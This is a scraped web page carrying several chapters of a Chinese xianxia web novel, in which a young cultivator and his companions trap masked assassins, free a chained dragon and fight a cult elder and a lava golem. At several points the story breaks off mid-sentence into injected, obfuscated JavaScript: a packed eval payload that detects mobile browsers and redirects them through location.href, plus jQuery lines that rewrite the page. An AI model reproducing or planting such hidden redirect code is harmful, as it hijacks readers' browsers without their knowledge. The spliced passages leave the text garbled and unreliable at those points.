记忆有点模糊,但很快清晰起来。 他感受了一□□内的状况。 修为——炼气七层圆满。 混沌气旋——凝实了一倍,体积也大了不少,中心隐隐有龙纹盘绕。 玄渊枪——安静地悬浮在丹田旁,枪魂“小黑”似乎更强大了。 还有……心魔呢? 他仔细探查识海。 没有心魔的痕迹。 但也不是完全消失。 在识海深处,多了一团灰蒙蒙的影子,安静地蜷缩着,像是睡着了。 心魔……被他强行封印了。 “我睡了多久?”林家铭问。 “一刻钟。”萧炎盯着他,“你刚才……做了什么?我感觉到你的识海差点崩溃。” “跟心魔吵了一架,然后把它打服了。”林家铭咧嘴一笑,虽然脸色苍白,但眼神明亮,“没事了。” 石岳三人面面相觑。 跟心魔吵架?打服? 这是正常人干的事吗? 但看着林家铭确实没事,他们也松了口气。 “现在怎么办?”金锋问,“外面可能还有敌人。” 林家铭站起身,活动了一下筋骨。 炼气七层圆满的修为,让他感觉浑身充满力量。混沌灵力也更加凝实、精纯。 “既然他们想杀我们……”他眼中闪过狠色,“那就别怪我们反击了。” “反击?”水月儿一愣,“对方是筑基期,还有三个……” “筑基期又怎么样?”林家铭笑了,笑容危险,“咱们手里有雾晶,有混沌业火,还有……” 他顿了顿,看向萧炎:“萧师兄,你那业火,还能用几次?” 萧炎沉默片刻:“最多三次,然后我会暂时失去战斗力。” “三次够了。”林家铭从储物袋里掏出一堆压缩雾晶,足有五十块,“咱们来做个陷阱。” “什么陷阱?” “请君入瓮,然后……”林家铭咧嘴,“关门放火。” 34. 请君入瓮,关门放火 第三十四章请君入瓮,关门放火 巨坑底部,死寂。 满地都是煞气凝结体焚烧后的灰烬,空气中还残留着混沌业火的余温。石室裂缝里,林家铭五人正在飞快地布置。 “五十块压缩雾晶,分五堆,每堆十块,按五芒星方位摆放。”林家铭一边说,一边用混沌灵力在地上刻画阵纹,“萧师兄,你在每个阵眼处注入一丝业火作为引信。” 萧炎点头,指尖暗红火焰跳动,分出五缕细小的火苗,飘向五个方位。 石岳则在石室入口处布置“厚土封禁阵”——不求完全封死,只求能困住敌人几息。 水月儿和金锋负责清理痕迹,把打斗的痕迹尽量掩盖,让这里看起来像是一个普通的藏身地。 “陷阱的核心是‘连锁引爆’。”林家铭解释道,“一旦有人踏入阵法范围,五堆雾晶会同时引爆,产生的能量冲击会被混沌阵纹强行压缩、融合,然后业火引信点燃,形成比刚才更大规模的混沌业火爆发。” “范围多大?”石岳问。 “覆盖整个坑底。”林家铭咧嘴,“所以我们得在引爆前跑路。” “从地下水脉裂缝走?”水月儿看向石室深处那条狭窄的裂缝。 “不,那条路太慢。”林家铭摇头,“咱们走上面。” 他指向石室顶部那些裂缝:“刚才我突破的时候注意到,顶部有一处岩层特别薄,最多三尺厚。用爆裂符炸开,可以直接通到地面。而且那里正好是巨坑边缘的背阴面,不容易被发现。” “你怎么知道岩层厚度?”金锋疑惑。 “混沌灵力可以感知能量密度。”林家铭指了指自己的眼睛,“我看得到。” 众人沉默。这能力也太作弊了。 “计划是这样的。”萧炎接过话头,“我们藏在水脉裂缝里,只留一丝神识在外监控。等敌人进入陷阱范围,林师弟引爆雾晶,然后我们立刻炸开顶部岩层,从地面撤离。混沌业火爆发会持续至少十息,足够我们跑出安全距离。” “如果敌人没来呢?”水月儿问。 “那我们就自己引爆,然后跑路。”林家铭耸肩,“反正雾晶没了可以再捡,命没了就真没了。” 简单粗暴,但有效。 五人最后检查了一遍陷阱,确认无误后,钻进石室深处的地下水脉裂缝。 裂缝狭窄潮湿,勉强能容一人通过。五人挤在里面,屏息凝神。 时间一分一秒过去。 一刻钟,两刻钟…… 就在林家铭开始怀疑对方是不是放弃的时候—— 外面传来了动静。 轻微的破风声,三道身影落在坑底。 “气息残留在这里。”是高瘦面具人的声音,“应该就藏在那个石室里。” “小心点,那几个小崽子手段诡异。”另一个面具人警惕道,“刚才那种火焰……我没见过。” “管他什么火焰,三个炼气期加两个炼气中期,能翻出什么浪?”第三个面具人语气不屑,“直接轰开石室,抓人。” 三人走向石室裂缝。 裂缝里,林家铭心跳加速。 再近一点……再近一点…… 就在三人踏入五芒星阵法范围的瞬间—— “爆!” 林家铭心念一动,提前留在外面的混沌灵力引信被触发! 五堆压缩雾晶同时亮起刺目的光芒! “不好!有陷阱!”高瘦面具人反应最快,纵身后退! 但晚了。 “轰——!!!” 五十块压缩雾晶同时爆炸,产生的能量冲击如同海啸般席卷整个坑底!灰蒙蒙的混沌阵纹疯狂运转,强行压缩、融合爆炸能量! 紧接着,五缕业火引信被点燃! 灰与红交织,混沌与业火融合,比刚才规模大三倍的混沌业火轰然爆发! “啊啊啊——!” 三名面具人瞬间被火焰吞没! 惨叫声中,他们拼命撑起护体灵光,试图抵挡。但混沌业火对煞气的克制太强了——他们身上沾染的煞气成了最好的燃料,火焰越烧越旺! “就是现在!”裂缝里,林家铭低喝! 金锋一剑斩出,剑气直冲石室顶部薄弱处! “咔嚓——轰!” 岩层被炸开,露出一个三尺见方的洞口,外面是灰蒙蒙的天空! “走!” 五人鱼贯而出,从洞口钻出,落在巨坑边缘的背阴面。 回头看,坑底已经变成一片火海。混沌业火熊熊燃烧,三名面具人在火中挣扎,护体灵光迅速黯淡。 “趁现在,补刀!”萧炎眼中闪过狠色,就要冲下去。 “等等。”林家铭拉住他,“看。” 火海中,那名高瘦面具人突然掏出一张黑色符箓,咬破舌尖喷上精血! “血遁·移形!” 黑光一闪,他的身影瞬间消失,出现在坑外三十丈处——虽然浑身焦黑,气息萎靡,但还活着。 另外两人就没那么幸运了。他们的护体灵光彻底破碎,混沌业火烧到身上,惨叫声戛然而止,化作两具焦尸。 “跑了一个。”金锋握紧剑。 “追不追?”水月儿问。 林家铭盯着远处那个踉跄逃跑的身影,突然咧嘴一笑:“不用追,让他跑。” “为什么?” “因为他跑不掉。” 林家铭从储物袋里掏出一支……唢呐。 “萧师兄,借点火。” 萧炎一愣,随即明白过来,指尖燃起一簇业火,点在唢呐上。 唢呐表面泛起暗红纹路。 林家铭将唢呐举到嘴边,深吸一口气—— “呜——!!!” 不是《大出殡》,而是一段极其尖锐、刺耳、如同鬼哭狼嚎的调子! 音波带着业火之力,以惊人的速度追上那个逃跑的身影! 高瘦面具人听到声音,回头一看,脸色大变,想要加速,但已经晚了。 音波击中他的后背! “噗!” 他喷出一口黑血,身形踉跄,脸上的面具“咔嚓”一声裂开,脱落。 露出一张苍白、阴鸷、但意外年轻的脸。 林家铭五人都愣住了。 这张脸……他们见过。 在五宗小会开幕式上,他站在锐金宗带队长老身后,是锐金宗此次参赛的十名弟子之一! “锐金宗内门弟子,刘枫?”石岳惊呼,“怎么会是他?!” 刘枫见身份暴露,眼中闪过绝望,随即转为疯狂:“既然你们知道了……那就都去死吧!” 他掏出一枚漆黑的令牌,就要捏碎。 “不好!是传讯令!”萧炎脸色一变,“他要叫人!” 但已经来不及了。 刘枫捏碎了令牌,一道黑光冲天而起,消失在天际。 “完了……”水月儿脸色发白,“他背后的人肯定就在秘境附近,很快就会赶来。” “那就赶紧跑啊!”林家铭收起唢呐,“愣着干什么?” 五人转身就要跑。 但刘枫却狞笑起来:“跑?你们跑不掉的。这秘境……早就在我们的掌控中了。” 他话音未落,四周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“所以不如赌一把。”林家铭接过话头,“混沌业火能焚烧煞气,如果我们把业火注入大阵核心,理论上可以净化煞气,让大阵恢复正常。但风险是……如果控制不好,业火失控,确实会炸。” “成功率多少?”金锋问。 “三成。”林家铭实话实说。 “干了。”金锋毫不犹豫。 石岳和水月儿对视一眼,咬牙点头。 萧炎则从怀里掏出炎灵葫芦,拔开塞子:“林师弟,你说怎么做?” “先把刘枫抓起来,他肯定知道大阵核心在哪。”林家铭看向那个瘫在地上的锐金宗弟子。 刘枫此刻已经彻底绝望,见五人逼近,惨笑道:“没用的……就算你们找到大阵核心,也控制不了。那阵法……早就被‘那位大人’改造过了,只有他才能操控。” “那位大人是谁?”石岳厉声问。 “你们永远也不会知道。”刘枫眼中闪过诡异的光,“因为你们马上……就要死了。” 他突然咬断舌头,喷出一口精血,血液在空中化作一个诡异的符文! “血祭·唤魔!” 符文炸开,一道黑光射向远处! 紧接着,整个秘境剧烈震动,地面裂开无数道缝隙,浓郁的煞气从地底喷涌而出! 而在秘境最深处的方向,传来一声震天动地的咆哮! 那声音……不属于任何已知的妖兽。 充满了疯狂、暴戾、毁灭的气息。 “他唤醒了地底镇压的东西……”萧炎脸色铁青,“这下麻烦大了。” 林家铭盯着远处那股冲天而起的煞气柱,突然笑了。 “麻烦?不,这是机会。” 他转头看向萧炎,眼中闪着疯狂的光。 “萧师兄,敢不敢玩个更大的?” “什么?” “咱们不找大阵核心了。”林家铭咧嘴,“咱们直接去那个煞气柱那里,把地底那玩意儿……放出来。” 35. 地底魔物,疯子的选择 第三十五章地底魔物,疯子的选择 煞气柱冲天而起,染红了半边天。 林家铭五人朝着煞气源头狂奔,脚下大地龟裂,裂缝中不断喷涌出暗红色的煞气,空气粘稠得如同血浆。 “那边!”石岳指着前方一个巨大的地裂口,裂缝宽达十丈,深不见底,浓郁的煞气就是从那里喷出的。 五人来到裂缝边缘,向下望去。 漆黑。 纯粹的漆黑,连神识探入都会被瞬间腐蚀。只能听到从深处传来的、沉重如雷鸣的呼吸声,以及……锁链拖拽的“哗啦”声。 “下面有东西被锁着。”水月儿脸色苍白,“而且……很大。” 林家铭蹲下身,用手摸了摸裂缝边缘的岩石。岩石表面覆盖着一层暗红色的结晶,是煞气常年侵蚀形成的。 他抠下一块结晶,握在手中,混沌灵力运转。 结晶中的煞气被迅速吞噬、转化,变成精纯的混沌灵力融入体内。 “这下面的煞气浓度……高得离谱。”林家铭站起身,眼中闪过兴奋,“如果全吸了,够我冲到筑基期。” “你先别想着吸。”萧炎皱眉,“重点是下面那东西。刘枫用血祭唤醒它,肯定不是为了自杀。这东西一旦脱困,第一个遭殃的就是我们。” “那就跟它谈谈。”林家铭语出惊人。 “谈……谈什么?”石岳怀疑自己听错了。 “谈条件啊。”林家铭理所当然地说,“你看,它被锁在下面,肯定想出来。我们想活命,需要帮手。这不正好吗?我们帮它脱困,它帮我们对付幕后黑手,双赢。” “你疯了?!”水月儿失声,“那是魔物!被煞气浸染千年,早就失去理智了!你跟它谈条件?它会先吃了你!” “那可不一定。”林家铭摸着下巴,“刚才我探查了一下,锁住它的封印阵法里,有‘镇魂’和‘炼化’两种效果。也就是说,有人不仅想关着它,还想慢慢炼化它的魂魄。这种情况下,它肯定恨死那个布阵的人了。” “所以呢?”金锋问。 “所以敌人的敌人,就是朋友。”林家铭咧嘴一笑,“至少暂时是。” 萧炎盯着他看了几秒,突然问:“你有几成把握?” “五成。”林家铭伸出五根手指,“一半它听劝,一半它发疯把我们都吃了。赌不赌?” “赌。”萧炎毫不犹豫,“反正等幕后黑手来了也是死,不如赌一把。” 石岳三人面面相觑,最后咬牙:“赌了!” “好!”林家铭搓了搓手,“那咱们先看看封印阵法长什么样。” 他从储物袋里掏出一沓符纸,都是之前画的改良版“闪光符”。不过这次他没用混沌灵力激发,而是咬破指尖,用血在上面画了几个扭曲的符文。 “这是……通灵符?”萧炎认出符文,“你想跟下面那东西沟通?” “对。”林家铭画完最后一张,将十张血符抛向裂缝深处,“去!” 血符飘落,在黑暗中泛起微弱的红光。 十息后。 裂缝深处,传来一声低沉的、带着疑惑的咆哮。 “吼……?” 有反应! 林家铭眼睛一亮,立刻盘膝坐下,双手结印,混沌灵力化作灰蒙蒙的光束,顺着血符的联系探入裂缝深处。 神识顺着光束延伸,他终于“看”清了下面的景象。 那是一个巨大的地下溶洞,洞壁上刻满了密密麻麻的封印符文,每一个符文都在发光,形成一张巨大的光网,网中央锁着一头…… 林家铭愣住了。 不是想象中的狰狞魔物。 而是一头……龙。 准确说,是一头蛟。 通体漆黑,身长十余丈,头生独角,腹下四爪,周身覆盖着细密的鳞片。只是那些鳞片大部分已经破损、脱落,露出下面腐烂的血肉。蛟身上缠着七根粗大的锁链,锁链上刻满了镇魂符文,不断抽取它的魂魄之力。 而最让人心惊的是,这头黑蛟的双眼——不是兽类的竖瞳,而是……人的眼睛。 清澈、理智、充满痛苦和愤怒的人眼。 “人类……?”黑蛟开口,声音直接在林家铭识海中响起,嘶哑而虚弱,“你……不是那些人……” “哪些人?”林家铭用意念回应。 “那些……穿着五宗服饰,用煞气污染我,想将我炼成傀儡的人。”黑蛟眼中闪过刻骨的恨意,“三百年了……他们折磨了我三百年……” 林家铭心中一震。 三百年? 那岂不是说,早在三百年前,就有人开始布局了? “你是什么来历?为什么会被封印在这里?”他问。 “我本是‘雾隐山脉’的守护灵蛟,受地脉滋养而生。”黑蛟缓缓道,“三百年前,一群自称五宗修士的人来到此地,说要建立‘幻雾迷林’秘境,供弟子试炼。我答应了,与他们立下契约——我守护秘境,他们不得伤害我。” “但他们背叛了。”林家铭已经猜到了结局。 “是的。”黑蛟声音苦涩,“秘境建成后,他们突然翻脸,用七根‘镇魂锁链’将我锁在此地,又用煞气污染地脉,试图将我魂魄污染、炼化,变成他们的战争傀儡……” “战争傀儡?”林家铭捕捉到关键词,“什么战争?” “我不知道。”黑蛟摇头,“但我听到过他们的谈话……他们在准备一场‘清洗’,要清除所有不听话的人,统一五宗,甚至……统一整个修仙界。” 林家铭倒吸一口凉气。 统一五宗?清洗? 这野心也太大了! “你愿意帮我吗?”黑蛟看着他,“帮我脱困,我发誓绝不伤害你和你的同伴,而且……我会帮你们对付那些人。” “怎么帮?” “我有办法。”黑蛟眼中闪过一丝狡黠,“这三百年来,我虽然被锁在这里,但也一直在研究这个封印阵法。我发现,阵法有一个漏洞——如果从外部注入足够强大的、与煞气相克的力量,可以暂时瘫痪阵法三息。三息时间,足够我挣脱一根锁链。” “一根?”林家铭皱眉,“你有七根。” “挣脱一根,我就能动用部分力量。”黑蛟道,“到时候,我可以帮你们对抗外面那些人。等战斗结束,你们再帮我解开剩下的锁链。” 听起来很合理。 但林家铭总觉得哪里不对。 “萧师兄。”他退出神识连接,把情况快速说了一遍,“你怎么看?” 萧炎沉思片刻:“它在说谎。” “为什么?” “镇魂锁链是上古流传的禁器,专门用来封印大妖大魔。一旦被锁,魂魄会被完全压制,别说研究阵法漏洞,连保持清醒都难。”萧炎盯着裂缝深处,“可它刚才跟你交流时,思路清晰,甚至还有余力讨价还价……这不正常。” “你的意思是……” “它要么根本不是被锁链完全压制,而是在伪装。”萧炎压低声音,“要么……锁链已经松动了,它只是在等一个机会,让我们帮它彻底脱困。” 林家铭眯起眼睛。 如果是这样,那这头黑蛟就不是什么可怜的被囚者,而是一个……老阴比。 但眼下,他们确实需要帮手。 “那就跟它玩玩。”林家铭咧嘴一笑,“咱们答应帮它,但只帮一半。等它挣脱一根锁链,能动用部分力量后,咱们就停手,让它先帮我们解决外面的麻烦。至于剩下的锁链……等安全了再说。” “它要是不答应呢?” “那就让它继续在下面待着。”林家铭耸耸肩,“反正咱们可以跑路,它跑不了。” 计划敲定。 林家铭重新连接黑蛟神识:“我们答应帮你。但只能先帮你挣脱一根锁链,等你帮我们解决外面的敌人后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189096|197041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,再考虑剩下的。” 黑蛟沉默片刻,点头:“可以。但要快,我能感觉到……他们快来了。” “谁快来了?” “‘那位大人’的手下。”黑蛟声音凝重,“不止一个,有三个……不,四个。都是金丹期。” 林家铭五人脸色都变了。 四个金丹期?! 这怎么打?! “不过……”黑蛟突然话锋一转,“如果我能挣脱一根锁链,动用‘雾隐领域’,可以暂时压制他们的修为到筑基期。持续时间……一炷香。” “够了!”林家铭眼中闪过狠色,“一炷香时间,足够我们宰了他们!” 他看向萧炎:“萧师兄,你那业火,能瘫痪封印阵法吗?” “可以,但需要时间。”萧炎估算道,“至少三十息,而且要近距离施法。” “那就下去。”林家铭二话不说,纵身跳进裂缝! “林师弟!”石岳惊呼。 但林家铭已经下落,混沌灵力在周身形成护罩,抵消煞气侵蚀。 萧炎咬了咬牙,也跟着跳了下去。 金锋、水月儿、石岳对视一眼,一咬牙,也跳了。 五人落在溶洞底部,抬头看着那头被锁链缠绕的黑蛟。 近距离看,更加震撼。 黑蛟庞大的身躯几乎填满了半个溶洞,每一次呼吸都带起狂风。它低下头,那双人眼盯着五人,眼神复杂。 “开始吧。”林家铭对萧炎道。 萧炎点头,走到封印阵法边缘,双手按在地面,暗红业火从掌心涌出,沿着阵纹蔓延。 “嗤嗤嗤……” 业火与煞气相克,阵法中的煞气被迅速焚烧,阵纹开始闪烁、明灭不定。 黑蛟眼中闪过激动。 三十息后。 “咔嚓——!” 一根锁链应声断裂! “吼——!!!” 黑蛟仰天长啸,恐怖的威压席卷整个溶洞!但它很快收敛气息,挣脱的那只前爪抬起,对着洞顶虚空一按—— “雾隐领域·开!” 无形的波动扩散开来,溶洞中的雾气开始翻滚、凝聚,化作一层灰蒙蒙的屏障,将整个溶洞笼罩。 “领域已成。”黑蛟声音中带着压抑不住的兴奋,“现在,我的实力恢复到金丹初期,而进入领域的所有敌人,修为会被压制到筑基期。” “很好。”林家铭咧嘴一笑,“现在,该等客人上门了。” 话音刚落。 溶洞上方,传来四道破空声。 四道身影从天而降,落在溶洞入口处。 为首的是一个黑袍老者,面容阴鸷,手背上赫然有一个暗红色的诡异符文——和刘枫那个一模一样,但更加复杂、古老。 他身后跟着三名同样黑袍的修士,气息都是金丹期。 “果然在这里。”黑袍老者目光扫过五人,最后落在黑蛟身上,“小蛟儿,你以为挣脱一根锁链,就能翻天了?” 黑蛟眼中闪过刻骨的恨意:“墨长老,三百年了……今天该算账了。” “就凭你?”墨长老嗤笑,“还有这几个不知天高地厚的小崽子?” 他看向林家铭五人,眼中闪过杀意:“敢坏我的好事,你们……都得死。” 林家铭掏了掏耳朵,一脸不耐烦:“老头,要打就打,废话这么多干什么?不知道反派死于话多吗?” 墨长老脸色一沉:“找死!” 他抬手一挥,身后三名金丹修士同时出手! 四道恐怖的攻击轰向五人! 但就在攻击进入雾隐领域的瞬间—— 四人的修为肉眼可见地跌落! 从金丹期,一路跌到筑基后期! “什么?!”墨长老脸色大变,“领域压制?!” “现在,”林家铭咧嘴一笑,玄渊枪出现在手中,“该我们了。” 36. 领域死斗,底牌尽出 第三十六章领域死斗,底牌尽出 一炷香。 领域倒计时开始。 墨长老脸色阴沉如水,他盯着黑蛟,又扫过林家铭五人,眼中杀意几乎凝成实质。 “就算被压制到筑基期,杀你们也如屠狗。”他一挥手,“上!先杀那几个小的,再收拾这头畜生!” 三名黑袍修士应声而动,化作三道黑影扑向林家铭五人! “按计划!”林家铭大喝。 五人瞬间散开,各自迎敌! 石岳对上第一个黑袍修士,土黄色灵力爆发,厚土护罩全力撑开,硬抗对方一击! “轰!” 护罩剧烈摇晃,但没有破碎——在领域压制下,黑袍修士的修为确实跌到了筑基中期,而石岳作为厚土宗精英,防御力本就可越阶作战。 “土牢·三重困!”石岳双手按地,地面隆起三道土墙,将黑袍修士暂时困住。 另一边,水月儿和金锋联手对付第二个黑袍修士。 水月儿玉笛音攻全开,音波化作冰霜锁链缠绕敌人,金锋剑光如电,专攻要害。两人配合默契,竟然暂时拖住了一个筑基中期! 但第三个黑袍修士,直扑萧炎和林家铭。 “两个炼气七层的小崽子,也敢挡路?”黑袍修士狞笑,一掌拍出,掌风裹挟着黑色的煞气! 萧炎不退反进,指尖业火燃起,一指点向对方掌心! “嗤——!” 业火与煞气相撞,发出刺耳的腐蚀声。黑袍修士脸色微变,连忙收掌后退——他的煞气被业火克制! “林师弟!”萧炎低喝。 “来了!”林家铭身形一闪,玄渊枪直刺黑袍修士后心! 枪出如龙,灰蒙蒙的混沌灵力在枪尖凝聚,隐隐有龙吟之声! 黑袍修士察觉危险,回身一掌拍向枪身! “铛!” 金铁交鸣声中,林家铭被震得后退三步,虎口发麻,但黑袍修士的手掌也被枪尖刺破,一丝混沌灵力侵入体内! “这是什么灵力?!”黑袍修士脸色大变,他感觉侵入体内的灰色灵力正在疯狂吞噬他的煞气,甚至开始侵蚀他的经脉! 趁他分神,萧炎业火再起,化作一道火线缠绕而上! “啊啊啊!”黑袍修士惨叫,业火烧身,煞气被点燃,他成了人形火炬! 短短三息,第一个黑袍修士——陨落! “废物!”墨长老怒骂,但他被黑蛟死死缠住,无法分身。 黑蛟虽然只挣脱一根锁链,但在这雾隐领域中,它的实力恢复到金丹初期,对战被压制到筑基后期的墨长老,竟然略占上风! “老东西,三百年了,该还债了!”黑蛟一爪拍下,带着恐怖的威压! 墨长老不敢硬接,闪身躲避,同时双手结印,地面涌出无数黑色触手,缠向黑蛟。 战斗进入白热化。 林家铭和萧炎解决掉第一个黑袍修士后,立刻支援石岳。 三人联手,第二个黑袍修士很快支撑不住,被石岳的土牢困住,萧炎业火焚烧,林家铭一枪穿心。 第二个——陨落! 只剩水月儿和金锋对付的那个,以及墨长老。 “集中火力,先杀那个!”林家铭指向最后一个黑袍修士。 五人合围,那黑袍修士脸色惨白,想要逃跑,但被金锋剑光封住退路,水月儿音攻干扰,石岳土牢困身,林家铭和萧炎一前一后,玄渊枪和业火同时攻至! “不——!”黑袍修士绝望怒吼,被业火吞没,随即枪尖刺穿心脏。 第三个——陨落! 至此,墨长老带来的三名金丹手下,全灭。 时间,过去半柱香。 “该死……该死!”墨长老脸色铁青,他没想到这几个炼气期的小崽子竟然这么难缠,更没想到黑蛟在领域内如此强悍。 他眼中闪过狠色,突然掏出一枚漆黑的令牌,咬破舌尖喷上精血! “以我精血,唤‘那位大人’降临!” 令牌炸开,一道黑光冲天而起,冲破雾隐领域,消失在秘境之外! “他在叫人!”黑蛟脸色大变,“必须在他援军到来前杀了他!” “那就杀!”林家铭眼中闪过疯狂,“萧师兄,你那业火还能用几次?” “最多一次全力爆发。”萧炎咬牙,“用完我会暂时失去战力。” “一次够了。”林家铭看向黑蛟,“蛟前辈,你能不能把他困住三息?三息时间,我和萧师兄给他来个狠的。” 黑蛟点头:“可以,但需要你们配合吸引他注意力。” “交给我们。”石岳三人立刻上前,各种法术、剑气、音攻全力输出,虽然伤不到墨长老,但确实让他分神了。 趁此机会,黑蛟深吸一口气,周身雾气疯狂涌动,化作七条雾气锁链,缠向墨长老! “雕虫小技!”墨长老冷哼一声,袖中飞出七柄黑色小剑,斩向雾气锁链。 但就在他分心应对锁链时—— 林家铭动了。 他没有冲向墨长老,而是……冲向黑蛟。 准确说,是冲向黑蛟身上剩下的六根镇魂锁链。 玄渊枪在手,混沌灵力全力爆发,枪身龙纹完全显现,枪魂“小黑”兴奋地嘶鸣——它对镇魂锁链中蕴含的煞气和魂魄之力,有着本能的渴望。 “一枪,破!” 林家铭一□□在最近的一根锁链上! “咔嚓——!” 锁链表面出现裂痕! “你干什么?!”黑蛟又惊又喜。 “帮你再断一根!”林家铭大吼,“萧师兄,业火加持!” 萧炎心领神会,指尖业火弹出,落在玄渊枪上! 暗红火焰与混沌灵力融合,枪尖灰红交织,威力暴增! “破!破!破!” 连续三枪! “咔嚓——轰!!” 第二根锁链,断裂! “吼——!!!” 黑蛟仰天长啸,恐怖的威压再次暴涨!挣脱两根锁链,它的实力从金丹初期,提升到了金丹中期! “现在,”黑蛟低头,那双人眼中闪过冰冷的杀意,“该你了,墨长老。” 它张开大口,一道灰白色的雾气喷涌而出! 那雾气看似轻柔,但所过之处,岩石消融,空间扭曲! “雾隐吐息!”墨长老脸色大变,慌忙撑起护体灵光。 但实力差距太大了。 金丹中期 vs 被压制到筑基后期,结果毫无悬念。 雾气吐息轻易撕开护体灵光,将墨长老吞没。 “啊啊啊——!” 惨叫声中,墨长老的身体开始消融,血肉、骨骼、魂魄,都在雾气中化作虚无。 三息后,雾气散去。 原地只剩下一枚黑色的储物戒,和一块巴掌大小、刻着诡异符文的令牌。 墨长老——陨落。 战斗结束。 时间,还剩四分之一柱香。 五人瘫坐在地,大口喘气。 这一战虽然时间不长,但每个人都拼尽了全力,灵力几乎耗尽。 黑蛟收起领域,巨大的身躯盘踞在溶洞中央,低头看着五人,眼神复杂。 “谢谢。”它开口,声音不再嘶哑,反而带着一种空灵,“三百年来,我第一次……感受到自由。” “不用谢,各取所需。”林家铭喘着气,从地上爬起来,走到墨长老留下的储物戒和令牌旁,捡起来。 储物戒他没急着看,先收起来。那块令牌倒是引起了他的注意。 令牌通体漆黑,正面刻着一个扭曲的符文,背面则是一行小字: 【第七使徒·墨】 “第七使徒?”林家铭皱眉,“什么意思?” 萧炎走过来看了一眼,脸色凝重:“使徒……这个词,我听说过。在某个古老的邪教组织中,核心成员被称为‘使徒’,数字越小,地位越高。” “邪教组织?”石岳也凑过来,“什么组织?” “我不知道全名。”萧炎摇头,“但我师父曾经提过,说有一个隐藏在暗处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189097|197041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的组织,一直在收集煞气、污染地脉、控制自然精灵,似乎在准备某种大规模的‘献祭’。” 献祭? 林家铭想起黑蛟之前说的“清洗”,心中隐隐不安。 “蛟前辈,”他看向黑蛟,“你知道这个组织吗?” 黑蛟沉默片刻,点头:“知道一点。三百年前,就是他们找上我,说要建立秘境。领头的……就是‘那位大人’。墨长老只是他的手下之一。” “那位大人是第几使徒?” “第三。”黑蛟语气中带着忌惮,“他的实力……至少是元婴期。而且,他手上有一种特殊的火焰,能克制我的雾气。” 元婴期! 五人倒吸一口凉气。 这还怎么玩? “不过你们也不用太担心。”黑蛟话锋一转,“‘那位大人’似乎被什么事情牵制住了,轻易不会现身。否则今天来的就不会是墨长老了。” “那我们现在怎么办?”水月儿问,“秘境大阵还在,出口还没开,而且墨长老临死前发出了求救信号……” “秘境大阵我可以控制。”黑蛟道,“虽然被煞气污染了三百年,但核心还是我当初留下的。给我一点时间,我可以净化它,重新掌控秘境。” “需要多久?” “一个时辰。”黑蛟估算道,“这一个时辰里,我无法分心,也无法保护你们。如果‘那位大人’派其他人来……” “那就让他们来。”林家铭咧嘴一笑,从储物袋里掏出一堆东西——压缩雾晶、改良符箓、机关道具,还有钱富贵送的那些小玩意儿。 “咱们现在手里有这么多‘材料’,不搞点陷阱招待客人,多对不起人家大老远跑一趟?” 萧炎看着他摆弄那些东西,突然也笑了:“林师弟,你这人……真是走到哪儿炸到哪儿。” “这叫物尽其用。”林家铭已经开始在地上刻画阵纹了,“石师兄,帮我布几个连环迷踪阵。水师姐,在阵眼处留几道音攻陷阱。金师兄,你负责布置剑气和爆裂符。萧师兄,你那业火……” “我留三缕业火种子,可以自动触发。”萧炎指尖燃起三簇暗红火焰,分别落在三个关键位置。 五人加上黑蛟的配合,一个时辰内,硬生生在溶洞入口处布下了七重连环陷阱! 从最外层的幻阵迷惑,到中层的音攻干扰,再到内层的剑气绞杀、爆裂符轰炸,最后还有业火焚烧……就算来的是金丹期,闯进来也得脱层皮。 布置完毕,黑蛟开始净化秘境大阵。 五人则躲到溶洞深处,抓紧时间恢复灵力。 林家铭盘膝坐下,内视丹田。 刚才战斗中,混沌灵力消耗巨大,但同时也吞噬了不少煞气、魂魄之力,此刻混沌气旋转速虽慢,但体积又膨胀了一圈,隐隐有突破炼气八层的趋势。 而且,玄渊枪在吞噬了部分镇魂锁链的力量后,枪身上的龙纹更加清晰,枪魂“小黑”也强壮了不少。 “这次收获……不小啊。”林家铭心里美滋滋。 但很快,他就笑不出来了。 因为溶洞外,传来了动静。 不是人声。 而是……某种沉重的、有规律的脚步声。 “咚……咚……咚……” 每一步,都让地面震动。 什么东西来了? 五人立刻警惕,看向入口处。 脚步声越来越近,越来越响。 然后,他们看到了。 一头……巨人。 三丈高的身躯,通体由暗红色的岩石构成,表面流淌着岩浆般的纹路。它没有五官,只有一双燃烧着黑色火焰的眼眶。 每走一步,地面就留下一个焦黑的脚印。 “这是……”石岳脸色惨白,“‘熔岩巨傀’……至少是金丹后期的战争傀儡!‘那位大人’居然把这东西派来了!” 巨人停在溶洞入口,那双火焰眼眶“看向”陷阱区。 然后,它抬起脚,一脚踏下。 “轰——!!” 第一重幻阵,碎。 37. 熔岩巨傀,绝境挣扎 第三十七章熔岩巨傀,绝境挣扎 熔岩巨傀一脚踏碎了幻阵,燃烧的黑焰眼眶扫过洞内。 没有停顿,它迈步走向第二重音攻陷阱。 “水师姐,能拖多久?”林家铭压低声音问。 水月儿握紧玉笛,咬牙:“最多十息。” 她吹响玉笛,急促的音波在陷阱区炸开,化作无数冰刃射向巨傀。 巨傀不闪不避,冰刃撞在它岩石身躯上,连白痕都没留下。 它继续向前。 